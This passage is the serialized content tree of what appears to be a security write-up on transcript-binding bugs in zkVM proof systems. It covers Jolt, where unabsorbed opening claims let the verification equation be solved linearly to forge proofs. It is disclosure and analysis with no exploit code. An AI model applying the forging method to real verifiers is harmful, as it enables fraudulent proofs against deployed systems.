",{"type":24,"tag":154,"props":116255,"children":116257},{"className":116256},[5642,5643],[116258],{"type":24,"tag":158,"props":116259,"children":116261},{"className":116260},[5648],[116262],{"type":24,"tag":158,"props":116263,"children":116265},{"className":116264,"ariaHidden":3185},[5653],[116266],{"type":24,"tag":158,"props":116267,"children":116269},{"className":116268},[5658],[116270,116274],{"type":24,"tag":158,"props":116271,"children":116273},{"className":116272,"style":22827},[5663],[],{"type":24,"tag":158,"props":116275,"children":116277},{"className":116276,"style":109523},[5669,22832],[116278],{"type":29,"value":109847},{"type":29,"value":521},{"type":24,"tag":1790,"props":116281,"children":116282},{},[116283,116285],{"type":29,"value":116284},"The verification equation has form: ",{"type":24,"tag":154,"props":116286,"children":116288},{"className":116287},[5642,5643],[116289],{"type":24,"tag":158,"props":116290,"children":116292},{"className":116291},[5648],[116293],{"type":24,"tag":158,"props":116294,"children":116296},{"className":116295,"ariaHidden":3185},[5653],[116297,116338],{"type":24,"tag":158,"props":116298,"children":116300},{"className":116299},[5658],[116301,116305,116310,116315,116320,116325,116329,116334],{"type":24,"tag":158,"props":116302,"children":116304},{"className":116303,"style":5771},[5663],[],{"type":24,"tag":158,"props":116306,"children":116308},{"className":116307,"style":96679},[5669,22832],[116309],{"type":29,"value":34347},{"type":24,"tag":158,"props":116311,"children":116313},{"className":116312},[22961],[116314],{"type":29,"value":504},{"type":24,"tag":158,"props":116316,"children":116318},{"className":116317,"style":109523},[5669,22832],[116319],{"type":29,"value":109847},{"type":24,"tag":158,"props":116321,"children":116323},{"className":116322},[22983],[116324],{"type":29,"value":521},{"type":24,"tag":158,"props":116326,"children":116328},{"className":116327,"style":5848},[5750],[],{"type":24,"tag":158,"props":116330,"children":116332},{"className":116331},[5853],[116333],{"type":29,"value":1285},{"type":24,"tag":158,"props":116335,"children":116337},{"className":116336,"style":5848},[5750],[],{"type":24,"tag":158,"props":116339,"children":116341},{"className":116340},[5658],[116342,116347],{"type":24,"tag":158,"props":116343,"children":116346},{"className":116344,"style":116345},[5663],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":24,"tag":158,"props":116348,"children":116350},{"className":116349},[5669,29],[116351],{"type":24,"tag":158,"props":116352,"children":116354},{"className":116353},[5669],[116355],{"type":29,"value":116356},"target",{"type":24,"tag":1790,"props":116358,"children":116359},{},[116360,116361,116387,116389],{"type":29,"value":9121},{"type":24,"tag":154,"props":116362,"children":116364},{"className":116363},[5642,5643],[116365],{"type":24,"tag":158,"props":116366,"children":116368},{"className":116367},[5648],[116369],{"type":24,"tag":158,"props":116370,"children":116372},{"className":116371,"ariaHidden":3185},[5653],[116373],{"type":24,"tag":158,"props":116374,"children":116376},{"className":116375},[5658],[116377,116382],{"type":24,"tag":158,"props":116378,"children":116381},{"className":116379,"style":116380},[5663],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":24,"tag":158,"props":116383,"children":116385},{"className":116384,"style":96679},[5669,22832],[116386],{"type":29,"value":34347},{"type":29,"value":116388}," is linear: ",{"type":24,"tag":154,"props":116390,"children":116392},{"className":116391},[5642,5643],[116393],{"type":24,"tag":158,"props":116394,"children":116396},{"className":116395},[5648],[116397],{"type":24,"tag":158,"props":116398,"children":116400},{"className":116399,"ariaHidden":3185},[5653],[116401,116430,116457,116485],{"type":24,"tag":158,"props":116402,"children":116404},{"className":116403},[5658],[116405,116410,116417,116421,116426],{"type":24,"tag":158,"props":116406,"children":116409},{"className":116407,"style":116408},[5663],"height:0.4445em;",[],{"type":24,"tag":158,"props":116411,"children":116414},{"className":116412,"style":116413},[5669,22832],"margin-right:0.0037em;",[116415],{"type":29,"value":116416},"α",{"type":24,"tag":158,"props":116418,"children":116420},{"className":116419,"style":5751},[5750],[],{"type":24,"tag":158,"props":116422,"children":116424},{"className":116423},[5756],[116425],{"type":29,"value":112587},{"type":24,"tag":158,"props":116427,"children":116429},{"className":116428,"style":5751},[5750],[],{"type":24,"tag":158,"props":116431,"children":116433},{"className":116432},[5658],[116434,116439,116444,116448,116453],{"type":24,"tag":158,"props":116435,"children":116438},{"className":116436,"style":116437},[5663],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":24,"tag":158,"props":116440,"children":116442},{"className":116441,"style":109523},[5669,22832],[116443],{"type":29,"value":109847},{"type":24,"tag":158,"props":116445,"children":116447},{"className":116446,"style":5751},[5750],[],{"type":24,"tag":158,"props":116449,"children":116451},{"className":116450},[5756],[116452],{"type":29,"value":728},{"type":24,"tag":158,"props":116454,"children":116456},{"className":116455,"style":5751},[5750],[],{"type":24,"tag":158,"props":116458,"children":116460},{"className":116459},[5658],[116461,116465,116472,116476,116481],{"type":24,"tag":158,"props":116462,"children":116464},{"className":116463,"style":116380},[5663],[],{"type":24,"tag":158,"props":116466,"children":116469},{"className":116467,"style":116468},[5669,22832],"margin-right:0.05278em;",[116470],{"type":29,"value":116471},"β",{"type":24,"tag":158,"props":116473,"children":116475},{"className":116474,"style":5848},[5750],[],{"type":24,"tag":158,"props":116477,"children":116479},{"className":116478},[5853],[116480],{"type":29,"value":1285},{"type":24,"tag":158,"props":116482,"children":116484},{"className":116483,"style":5848},[5750],[],{"type":24,"tag":158,"props":116486,"children":116488},{"className":116487},[5658],[116489,116493],{"type":24,"tag":158,"props":116490,"children":116492},{"className":116491,"style":116345},[5663],[],{"type":24,"tag":158,"props":116494,"children":116496},{"className":116495},[5669,29],[116497],{"type":24,"tag":158,"props":116498,"children":116500},{"className":116499},[5669],[116501],{"type":29,"value":116356},{"type":24,"tag":1790,"props":116503,"children":116504},{},[116505,116507],{"type":29,"value":116506},"Solve: ",{"type":24,"tag":154,"props":116508,"children":116510},{"className":116509},[5642,5643],[116511],{"type":24,"tag":158,"props":116512,"children":116514},{"className":116513},[5648],[116515],{"type":24,"tag":158,"props":116516,"children":116518},{"className":116517,"ariaHidden":3185},[5653],[116519,116545,116580],{"type":24,"tag":158,"props":116520,"children":116522},{"className":116521},[5658],[116523,116527,116532,116536,116541],{"type":24,"tag":158,"props":116524,"children":116526},{"className":116525,"style":22827},[5663],[],{"type":24,"tag":158,"props":116528,"children":116530},{"className":116529,"style":109523},[5669,22832],[116531],{"type":29,"value":109847},{"type":24,"tag":158,"props":116533,"children":116535},{"className":116534,"style":5848},[5750],[],{"type":24,"tag":158,"props":116537,"children":116539},{"className":116538},[5853],[116540],{"type":29,"value":1285},{"type":24,"tag":158,"props":116542,"children":116544},{"className":116543,"style":5848},[5750],[],{"type":24,"tag":158,"props":116546,"children":116548},{"className":116547},[5658],[116549,116553,116558,116567,116571,116576],{"type":24,"tag":158,"props":116550,"children":116552},{"className":116551,"style":5771},[5663],[],{"type":24,"tag":158,"props":116554,"children":116556},{"className":116555},[22961],[116557],{"type":29,"value":504},{"type":24,"tag":158,"props":116559,"children":116561},{"className":116560},[5669,29],[116562],{"type":24,"tag":158,"props":116563,"children":116565},{"className":116564},[5669],[116566],{"type":29,"value":116356},{"type":24,"tag":158,"props":116568,"children":116570},{"className":116569,"style":5751},[5750],[],{"type":24,"tag":158,"props":116572,"children":116574},{"className":116573},[5756],[116575],{"type":29,"value":5730},{"type":24,"tag":158,"props":116577,"children":116579},{"className":116578,"style":5751},[5750],[],{"type":24,"tag":158,"props":116581,"children":116583},{"className":116582},[5658],[116584,116588,116593,116598,116603],{"type":24,"tag":158,"props":116585,"children":116587},{"className":116586,"style":5771},[5663],[],{"type":24,"tag":158,"props":116589,"children":116591},{"className":116590,"style":116468},[5669,22832],[116592],{"type":29,"value":116471},{"type":24,"tag":158,"props":116594,"children":116596},{"className":116595},[22983],[116597],{"type":29,"value":521},{"type":24,"tag":158,"props":116599,"children":116601},{"className":116600},[5669],[116602],{"type":29,"value":6238},{"type":24,"tag":158,"props":116604,"children":116606},{"className":116605,"style":116413},[5669,22832],[116607],{"type":29,"value":116416},{"type":24,"tag":25,"props":116609,"children":116610},{},[116611],{"type":29,"value":116612},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":24,"tag":25,"props":116614,"children":116615},{},[116616,116618,116696],{"type":29,"value":116617},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":24,"tag":154,"props":116619,"children":116621},{"className":116620},[5642,5643],[116622],{"type":24,"tag":158,"props":116623,"children":116625},{"className":116624},[5648],[116626],{"type":24,"tag":158,"props":116627,"children":116629},{"className":116628,"ariaHidden":3185},[5653],[116630],{"type":24,"tag":158,"props":116631,"children":116633},{"className":116632},[5658],[116634,116639,116645,116650,116691],{"type":24,"tag":158,"props":116635,"children":116638},{"className":116636,"style":116637},[5663],"height:1.0641em;vertical-align:-0.25em;",[],{"type":24,"tag":158,"props":116640,"children":116642},{"className":116641,"style":94325},[5669,22832],[116643],{"type":29,"value":116644},"O",{"type":24,"tag":158,"props":116646,"children":116648},{"className":116647},[22961],[116649],{"type":29,"value":504},{"type":24,"tag":158,"props":116651,"children":116653},{"className":116652},[5669],[116654,116659],{"type":24,"tag":158,"props":116655,"children":116657},{"className":116656},[5669,22832],[116658],{"type":29,"value":57676},{"type":24,"tag":158,"props":116660,"children":116662},{"className":116661},[5686],[116663],{"type":24,"tag":158,"props":116664,"children":116666},{"className":116665},[5691],[116667],{"type":24,"tag":158,"props":116668,"children":116670},{"className":116669},[5696],[116671],{"type":24,"tag":158,"props":116672,"children":116674},{"className":116673,"style":5664},[5701],[116675],{"type":24,"tag":158,"props":116676,"children":116677},{"style":5705},[116678,116682],{"type":24,"tag":158,"props":116679,"children":116681},{"className":116680,"style":5711},[5710],[],{"type":24,"tag":158,"props":116683,"children":116685},{"className":116684},[5716,5717,5718,5719],[116686],{"type":24,"tag":158,"props":116687,"children":116689},{"className":116688},[5669,5719],[116690],{"type":29,"value":18534},{"type":24,"tag":158,"props":116692,"children":116694},{"className":116693},[22983],[116695],{"type":29,"value":521},{"type":29,"value":116697}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":24,"tag":20034,"props":116699,"children":116700},{},[],{"type":24,"tag":59,"props":116702,"children":116704},{"id":116703},"the-six-broken-systems",[116705],{"type":29,"value":116706},"The Six Broken Systems",{"type":24,"tag":25,"props":116708,"children":116709},{},[116710],{"type":24,"tag":84,"props":116711,"children":116714},{"alt":116712,"src":116713},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":24,"tag":25,"props":116716,"children":116717},{},[116718],{"type":29,"value":116719},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":24,"tag":20034,"props":116721,"children":116722},{},[],{"type":24,"tag":395,"props":116724,"children":116726},{"id":116725},"jolt-a16z",[116727],{"type":29,"value":116728},"Jolt (a16z)",{"type":24,"tag":25,"props":116730,"children":116731},{},[116732],{"type":29,"value":116733},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":24,"tag":25,"props":116735,"children":116736},{},[116737],{"type":24,"tag":897,"props":116738,"children":116739},{},[116740],{"type":29,"value":116741},"The proof structure:",{"type":24,"tag":147,"props":116743,"children":116745},{"code":116744},"JoltProof {\n commitments: Vec\u003CCommitment>, // Polynomial commitments to trace\n opening_claims: Map\u003COpeningId, Claim>, // \u003C- THE VULNERABLE VALUES\n proofs: Map\u003CStage, SumcheckProof>, // Sumcheck and opening proofs\n ...\n}\n",[116746],{"type":24,"tag":154,"props":116747,"children":116748},{"__ignoreMap":7},[116749],{"type":29,"value":116744},{"type":24,"tag":25,"props":116751,"children":116752},{},[116753],{"type":24,"tag":897,"props":116754,"children":116755},{},[116756],{"type":29,"value":116757},"The verification flow:",{"type":24,"tag":25,"props":116759,"children":116760},{},[116761],{"type":24,"tag":84,"props":116762,"children":116765},{"alt":116763,"src":116764},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":24,"tag":25,"props":116767,"children":116768},{},[116769,116774,116776,116782,116784,116790,116792,116797],{"type":24,"tag":897,"props":116770,"children":116771},{},[116772],{"type":29,"value":116773},"The bug:",{"type":29,"value":116775}," Each sumcheck instance provides an ",{"type":24,"tag":154,"props":116777,"children":116779},{"className":116778},[],[116780],{"type":29,"value":116781},"input_claim",{"type":29,"value":116783},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":24,"tag":154,"props":116785,"children":116787},{"className":116786},[],[116788],{"type":29,"value":116789},"opening_claims",{"type":29,"value":116791}," in the proof, but they were ",{"type":24,"tag":897,"props":116793,"children":116794},{},[116795],{"type":29,"value":116796},"never absorbed into the transcript",{"type":29,"value":116798}," before the batching coefficients were derived.",{"type":24,"tag":25,"props":116800,"children":116801},{},[116802],{"type":24,"tag":84,"props":116803,"children":116806},{"alt":116804,"src":116805},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":24,"tag":25,"props":116808,"children":116809},{},[116810],{"type":24,"tag":897,"props":116811,"children":116812},{},[116813],{"type":29,"value":116814},"How sumcheck uses opening_claims:",{"type":24,"tag":25,"props":116816,"children":116817},{},[116818,116820,116826,116828,116905],{"type":29,"value":116819},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":24,"tag":154,"props":116821,"children":116823},{"className":116822},[],[116824],{"type":29,"value":116825},"BatchedClaim",{"type":29,"value":116827}," by taking a random linear combination of the individual claims ",{"type":24,"tag":154,"props":116829,"children":116831},{"className":116830},[5642,5643],[116832],{"type":24,"tag":158,"props":116833,"children":116835},{"className":116834},[5648],[116836],{"type":24,"tag":158,"props":116837,"children":116839},{"className":116838,"ariaHidden":3185},[5653],[116840],{"type":24,"tag":158,"props":116841,"children":116843},{"className":116842},[5658],[116844,116848],{"type":24,"tag":158,"props":116845,"children":116847},{"className":116846,"style":112322},[5663],[],{"type":24,"tag":158,"props":116849,"children":116851},{"className":116850},[5669],[116852,116857],{"type":24,"tag":158,"props":116853,"children":116855},{"className":116854,"style":94559},[5669,22832],[116856],{"type":29,"value":94562},{"type":24,"tag":158,"props":116858,"children":116860},{"className":116859},[5686],[116861],{"type":24,"tag":158,"props":116862,"children":116864},{"className":116863},[5691,22886],[116865,116894],{"type":24,"tag":158,"props":116866,"children":116868},{"className":116867},[5696],[116869,116889],{"type":24,"tag":158,"props":116870,"children":116872},{"className":116871,"style":94854},[5701],[116873],{"type":24,"tag":158,"props":116874,"children":116875},{"style":111754},[116876,116880],{"type":24,"tag":158,"props":116877,"children":116879},{"className":116878,"style":5711},[5710],[],{"type":24,"tag":158,"props":116881,"children":116883},{"className":116882},[5716,5717,5718,5719],[116884],{"type":24,"tag":158,"props":116885,"children":116887},{"className":116886},[5669,22832,5719],[116888],{"type":29,"value":1832},{"type":24,"tag":158,"props":116890,"children":116892},{"className":116891},[22989],[116893],{"type":29,"value":22992},{"type":24,"tag":158,"props":116895,"children":116897},{"className":116896},[5696],[116898],{"type":24,"tag":158,"props":116899,"children":116901},{"className":116900,"style":94408},[5701],[116902],{"type":24,"tag":158,"props":116903,"children":116904},{},[],{"type":29,"value":225},{"type":24,"tag":25,"props":116907,"children":116908},{},[116909],{"type":24,"tag":154,"props":116910,"children":116912},{"className":116911},[5642,5643],[116913],{"type":24,"tag":158,"props":116914,"children":116916},{"className":116915},[5648],[116917],{"type":24,"tag":158,"props":116918,"children":116920},{"className":116919,"ariaHidden":3185},[5653],[116921,116951,117092],{"type":24,"tag":158,"props":116922,"children":116924},{"className":116923},[5658],[116925,116929,116938,116942,116947],{"type":24,"tag":158,"props":116926,"children":116928},{"className":116927,"style":94240},[5663],[],{"type":24,"tag":158,"props":116930,"children":116932},{"className":116931},[5669,29],[116933],{"type":24,"tag":158,"props":116934,"children":116936},{"className":116935},[5669],[116937],{"type":29,"value":116825},{"type":24,"tag":158,"props":116939,"children":116941},{"className":116940,"style":5848},[5750],[],{"type":24,"tag":158,"props":116943,"children":116945},{"className":116944},[5853],[116946],{"type":29,"value":1285},{"type":24,"tag":158,"props":116948,"children":116950},{"className":116949,"style":5848},[5750],[],{"type":24,"tag":158,"props":116952,"children":116954},{"className":116953},[5658],[116955,116960,117017,117021,117079,117083,117088],{"type":24,"tag":158,"props":116956,"children":116959},{"className":116957,"style":116958},[5663],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":24,"tag":158,"props":116961,"children":116963},{"className":116962},[22868],[116964,116969],{"type":24,"tag":158,"props":116965,"children":116967},{"className":116966,"style":22875},[22868,22873,22874],[116968],{"type":29,"value":110120},{"type":24,"tag":158,"props":116970,"children":116972},{"className":116971},[5686],[116973],{"type":24,"tag":158,"props":116974,"children":116976},{"className":116975},[5691,22886],[116977,117006],{"type":24,"tag":158,"props":116978,"children":116980},{"className":116979},[5696],[116981,117001],{"type":24,"tag":158,"props":116982,"children":116984},{"className":116983,"style":115532},[5701],[116985],{"type":24,"tag":158,"props":116986,"children":116987},{"style":22899},[116988,116992],{"type":24,"tag":158,"props":116989,"children":116991},{"className":116990,"style":5711},[5710],[],{"type":24,"tag":158,"props":116993,"children":116995},{"className":116994},[5716,5717,5718,5719],[116996],{"type":24,"tag":158,"props":116997,"children":116999},{"className":116998},[5669,22832,5719],[117000],{"type":29,"value":1832},{"type":24,"tag":158,"props":117002,"children":117004},{"className":117003},[22989],[117005],{"type":29,"value":22992},{"type":24,"tag":158,"props":117007,"children":117009},{"className":117008},[5696],[117010],{"type":24,"tag":158,"props":117011,"children":117013},{"className":117012,"style":115812},[5701],[117014],{"type":24,"tag":158,"props":117015,"children":117016},{},[],{"type":24,"tag":158,"props":117018,"children":117020},{"className":117019,"style":5789},[5750],[],{"type":24,"tag":158,"props":117022,"children":117024},{"className":117023},[5669],[117025,117030],{"type":24,"tag":158,"props":117026,"children":117028},{"className":117027,"style":116413},[5669,22832],[117029],{"type":29,"value":116416},{"type":24,"tag":158,"props":117031,"children":117033},{"className":117032},[5686],[117034],{"type":24,"tag":158,"props":117035,"children":117037},{"className":117036},[5691,22886],[117038,117068],{"type":24,"tag":158,"props":117039,"children":117041},{"className":117040},[5696],[117042,117063],{"type":24,"tag":158,"props":117043,"children":117045},{"className":117044,"style":94854},[5701],[117046],{"type":24,"tag":158,"props":117047,"children":117049},{"style":117048},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[117050,117054],{"type":24,"tag":158,"props":117051,"children":117053},{"className":117052,"style":5711},[5710],[],{"type":24,"tag":158,"props":117055,"children":117057},{"className":117056},[5716,5717,5718,5719],[117058],{"type":24,"tag":158,"props":117059,"children":117061},{"className":117060},[5669,22832,5719],[117062],{"type":29,"value":1832},{"type":24,"tag":158,"props":117064,"children":117066},{"className":117065},[22989],[117067],{"type":29,"value":22992},{"type":24,"tag":158,"props":117069,"children":117071},{"className":117070},[5696],[117072],{"type":24,"tag":158,"props":117073,"children":117075},{"className":117074,"style":94408},[5701],[117076],{"type":24,"tag":158,"props":117077,"children":117078},{},[],{"type":24,"tag":158,"props":117080,"children":117082},{"className":117081,"style":5751},[5750],[],{"type":24,"tag":158,"props":117084,"children":117086},{"className":117085},[5756],[117087],{"type":29,"value":112587},{"type":24,"tag":158,"props":117089,"children":117091},{"className":117090,"style":5751},[5750],[],{"type":24,"tag":158,"props":117093,"children":117095},{"className":117094},[5658],[117096,117100],{"type":24,"tag":158,"props":117097,"children":117099},{"className":117098,"style":112322},[5663],[],{"type":24,"tag":158,"props":117101,"children":117103},{"className":117102},[5669],[117104,117109],{"type":24,"tag":158,"props":117105,"children":117107},{"className":117106,"style":94559},[5669,22832],[117108],{"type":29,"value":94562},{"type":24,"tag":158,"props":117110,"children":117112},{"className":117111},[5686],[117113],{"type":24,"tag":158,"props":117114,"children":117116},{"className":117115},[5691,22886],[117117,117146],{"type":24,"tag":158,"props":117118,"children":117120},{"className":117119},[5696],[117121,117141],{"type":24,"tag":158,"props":117122,"children":117124},{"className":117123,"style":94854},[5701],[117125],{"type":24,"tag":158,"props":117126,"children":117127},{"style":111754},[117128,117132],{"type":24,"tag":158,"props":117129,"children":117131},{"className":117130,"style":5711},[5710],[],{"type":24,"tag":158,"props":117133,"children":117135},{"className":117134},[5716,5717,5718,5719],[117136],{"type":24,"tag":158,"props":117137,"children":117139},{"className":117138},[5669,22832,5719],[117140],{"type":29,"value":1832},{"type":24,"tag":158,"props":117142,"children":117144},{"className":117143},[22989],[117145],{"type":29,"value":22992},{"type":24,"tag":158,"props":117147,"children":117149},{"className":117148},[5696],[117150],{"type":24,"tag":158,"props":117151,"children":117153},{"className":117152,"style":94408},[5701],[117154],{"type":24,"tag":158,"props":117155,"children":117156},{},[],{"type":24,"tag":25,"props":117158,"children":117159},{},[117160,117162,117239,117241,117246,117248,117325,117327,117404,117406,117483],{"type":29,"value":117161},"where ",{"type":24,"tag":154,"props":117163,"children":117165},{"className":117164},[5642,5643],[117166],{"type":24,"tag":158,"props":117167,"children":117169},{"className":117168},[5648],[117170],{"type":24,"tag":158,"props":117171,"children":117173},{"className":117172,"ariaHidden":3185},[5653],[117174],{"type":24,"tag":158,"props":117175,"children":117177},{"className":117176},[5658],[117178,117182],{"type":24,"tag":158,"props":117179,"children":117181},{"className":117180,"style":111295},[5663],[],{"type":24,"tag":158,"props":117183,"children":117185},{"className":117184},[5669],[117186,117191],{"type":24,"tag":158,"props":117187,"children":117189},{"className":117188,"style":116413},[5669,22832],[117190],{"type":29,"value":116416},{"type":24,"tag":158,"props":117192,"children":117194},{"className":117193},[5686],[117195],{"type":24,"tag":158,"props":117196,"children":117198},{"className":117197},[5691,22886],[117199,117228],{"type":24,"tag":158,"props":117200,"children":117202},{"className":117201},[5696],[117203,117223],{"type":24,"tag":158,"props":117204,"children":117206},{"className":117205,"style":94854},[5701],[117207],{"type":24,"tag":158,"props":117208,"children":117209},{"style":117048},[117210,117214],{"type":24,"tag":158,"props":117211,"children":117213},{"className":117212,"style":5711},[5710],[],{"type":24,"tag":158,"props":117215,"children":117217},{"className":117216},[5716,5717,5718,5719],[117218],{"type":24,"tag":158,"props":117219,"children":117221},{"className":117220},[5669,22832,5719],[117222],{"type":29,"value":1832},{"type":24,"tag":158,"props":117224,"children":117226},{"className":117225},[22989],[117227],{"type":29,"value":22992},{"type":24,"tag":158,"props":117229,"children":117231},{"className":117230},[5696],[117232],{"type":24,"tag":158,"props":117233,"children":117235},{"className":117234,"style":94408},[5701],[117236],{"type":24,"tag":158,"props":117237,"children":117238},{},[],{"type":29,"value":117240}," are random coefficients derived from the transcript. Since ",{"type":24,"tag":154,"props":117242,"children":117244},{"className":117243},[],[117245],{"type":29,"value":116789},{"type":29,"value":117247}," (containing ",{"type":24,"tag":154,"props":117249,"children":117251},{"className":117250},[5642,5643],[117252],{"type":24,"tag":158,"props":117253,"children":117255},{"className":117254},[5648],[117256],{"type":24,"tag":158,"props":117257,"children":117259},{"className":117258,"ariaHidden":3185},[5653],[117260],{"type":24,"tag":158,"props":117261,"children":117263},{"className":117262},[5658],[117264,117268],{"type":24,"tag":158,"props":117265,"children":117267},{"className":117266,"style":112322},[5663],[],{"type":24,"tag":158,"props":117269,"children":117271},{"className":117270},[5669],[117272,117277],{"type":24,"tag":158,"props":117273,"children":117275},{"className":117274,"style":94559},[5669,22832],[117276],{"type":29,"value":94562},{"type":24,"tag":158,"props":117278,"children":117280},{"className":117279},[5686],[117281],{"type":24,"tag":158,"props":117282,"children":117284},{"className":117283},[5691,22886],[117285,117314],{"type":24,"tag":158,"props":117286,"children":117288},{"className":117287},[5696],[117289,117309],{"type":24,"tag":158,"props":117290,"children":117292},{"className":117291,"style":94854},[5701],[117293],{"type":24,"tag":158,"props":117294,"children":117295},{"style":111754},[117296,117300],{"type":24,"tag":158,"props":117297,"children":117299},{"className":117298,"style":5711},[5710],[],{"type":24,"tag":158,"props":117301,"children":117303},{"className":117302},[5716,5717,5718,5719],[117304],{"type":24,"tag":158,"props":117305,"children":117307},{"className":117306},[5669,22832,5719],[117308],{"type":29,"value":1832},{"type":24,"tag":158,"props":117310,"children":117312},{"className":117311},[22989],[117313],{"type":29,"value":22992},{"type":24,"tag":158,"props":117315,"children":117317},{"className":117316},[5696],[117318],{"type":24,"tag":158,"props":117319,"children":117321},{"className":117320,"style":94408},[5701],[117322],{"type":24,"tag":158,"props":117323,"children":117324},{},[],{"type":29,"value":117326},") were not in the transcript, the ",{"type":24,"tag":154,"props":117328,"children":117330},{"className":117329},[5642,5643],[117331],{"type":24,"tag":158,"props":117332,"children":117334},{"className":117333},[5648],[117335],{"type":24,"tag":158,"props":117336,"children":117338},{"className":117337,"ariaHidden":3185},[5653],[117339],{"type":24,"tag":158,"props":117340,"children":117342},{"className":117341},[5658],[117343,117347],{"type":24,"tag":158,"props":117344,"children":117346},{"className":117345,"style":111295},[5663],[],{"type":24,"tag":158,"props":117348,"children":117350},{"className":117349},[5669],[117351,117356],{"type":24,"tag":158,"props":117352,"children":117354},{"className":117353,"style":116413},[5669,22832],[117355],{"type":29,"value":116416},{"type":24,"tag":158,"props":117357,"children":117359},{"className":117358},[5686],[117360],{"type":24,"tag":158,"props":117361,"children":117363},{"className":117362},[5691,22886],[117364,117393],{"type":24,"tag":158,"props":117365,"children":117367},{"className":117366},[5696],[117368,117388],{"type":24,"tag":158,"props":117369,"children":117371},{"className":117370,"style":94854},[5701],[117372],{"type":24,"tag":158,"props":117373,"children":117374},{"style":117048},[117375,117379],{"type":24,"tag":158,"props":117376,"children":117378},{"className":117377,"style":5711},[5710],[],{"type":24,"tag":158,"props":117380,"children":117382},{"className":117381},[5716,5717,5718,5719],[117383],{"type":24,"tag":158,"props":117384,"children":117386},{"className":117385},[5669,22832,5719],[117387],{"type":29,"value":1832},{"type":24,"tag":158,"props":117389,"children":117391},{"className":117390},[22989],[117392],{"type":29,"value":22992},{"type":24,"tag":158,"props":117394,"children":117396},{"className":117395},[5696],[117397],{"type":24,"tag":158,"props":117398,"children":117400},{"className":117399,"style":94408},[5701],[117401],{"type":24,"tag":158,"props":117402,"children":117403},{},[],{"type":29,"value":117405}," values are independent of ",{"type":24,"tag":154,"props":117407,"children":117409},{"className":117408},[5642,5643],[117410],{"type":24,"tag":158,"props":117411,"children":117413},{"className":117412},[5648],[117414],{"type":24,"tag":158,"props":117415,"children":117417},{"className":117416,"ariaHidden":3185},[5653],[117418],{"type":24,"tag":158,"props":117419,"children":117421},{"className":117420},[5658],[117422,117426],{"type":24,"tag":158,"props":117423,"children":117425},{"className":117424,"style":112322},[5663],[],{"type":24,"tag":158,"props":117427,"children":117429},{"className":117428},[5669],[117430,117435],{"type":24,"tag":158,"props":117431,"children":117433},{"className":117432,"style":94559},[5669,22832],[117434],{"type":29,"value":94562},{"type":24,"tag":158,"props":117436,"children":117438},{"className":117437},[5686],[117439],{"type":24,"tag":158,"props":117440,"children":117442},{"className":117441},[5691,22886],[117443,117472],{"type":24,"tag":158,"props":117444,"children":117446},{"className":117445},[5696],[117447,117467],{"type":24,"tag":158,"props":117448,"children":117450},{"className":117449,"style":94854},[5701],[117451],{"type":24,"tag":158,"props":117452,"children":117453},{"style":111754},[117454,117458],{"type":24,"tag":158,"props":117455,"children":117457},{"className":117456,"style":5711},[5710],[],{"type":24,"tag":158,"props":117459,"children":117461},{"className":117460},[5716,5717,5718,5719],[117462],{"type":24,"tag":158,"props":117463,"children":117465},{"className":117464},[5669,22832,5719],[117466],{"type":29,"value":1832},{"type":24,"tag":158,"props":117468,"children":117470},{"className":117469},[22989],[117471],{"type":29,"value":22992},{"type":24,"tag":158,"props":117473,"children":117475},{"className":117474},[5696],[117476],{"type":24,"tag":158,"props":117477,"children":117479},{"className":117478,"style":94408},[5701],[117480],{"type":24,"tag":158,"props":117481,"children":117482},{},[],{"type":29,"value":347},{"type":24,"tag":25,"props":117485,"children":117486},{},[117487],{"type":24,"tag":897,"props":117488,"children":117489},{},[117490],{"type":29,"value":117491},"Why it's linear:",{"type":24,"tag":25,"props":117493,"children":117494},{},[117495,117497],{"type":29,"value":117496},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":24,"tag":154,"props":117498,"children":117500},{"className":117499},[5642,5643],[117501],{"type":24,"tag":158,"props":117502,"children":117504},{"className":117503},[5648],[117505],{"type":24,"tag":158,"props":117506,"children":117508},{"className":117507,"ariaHidden":3185},[5653],[117509],{"type":24,"tag":158,"props":117510,"children":117512},{"className":117511},[5658],[117513,117517],{"type":24,"tag":158,"props":117514,"children":117516},{"className":117515,"style":22827},[5663],[],{"type":24,"tag":158,"props":117518,"children":117520},{"className":117519,"style":94559},[5669,22832],[117521],{"type":29,"value":94562},{"type":24,"tag":25,"props":117523,"children":117524},{},[117525],{"type":24,"tag":154,"props":117526,"children":117528},{"className":117527},[5642,5643],[117529],{"type":24,"tag":158,"props":117530,"children":117532},{"className":117531},[5648],[117533],{"type":24,"tag":158,"props":117534,"children":117536},{"className":117535,"ariaHidden":3185},[5653],[117537,117627,117653,117679],{"type":24,"tag":158,"props":117538,"children":117540},{"className":117539},[5658],[117541,117545,117614,117618,117623],{"type":24,"tag":158,"props":117542,"children":117544},{"className":117543,"style":112322},[5663],[],{"type":24,"tag":158,"props":117546,"children":117548},{"className":117547},[5669],[117549,117555],{"type":24,"tag":158,"props":117550,"children":117552},{"className":117551,"style":23364},[5669,22832],[117553],{"type":29,"value":117554},"C",{"type":24,"tag":158,"props":117556,"children":117558},{"className":117557},[5686],[117559],{"type":24,"tag":158,"props":117560,"children":117562},{"className":117561},[5691,22886],[117563,117603],{"type":24,"tag":158,"props":117564,"children":117566},{"className":117565},[5696],[117567,117598],{"type":24,"tag":158,"props":117568,"children":117571},{"className":117569,"style":117570},[5701],"height:0.3361em;",[117572],{"type":24,"tag":158,"props":117573,"children":117575},{"style":117574},"top:-2.55em;m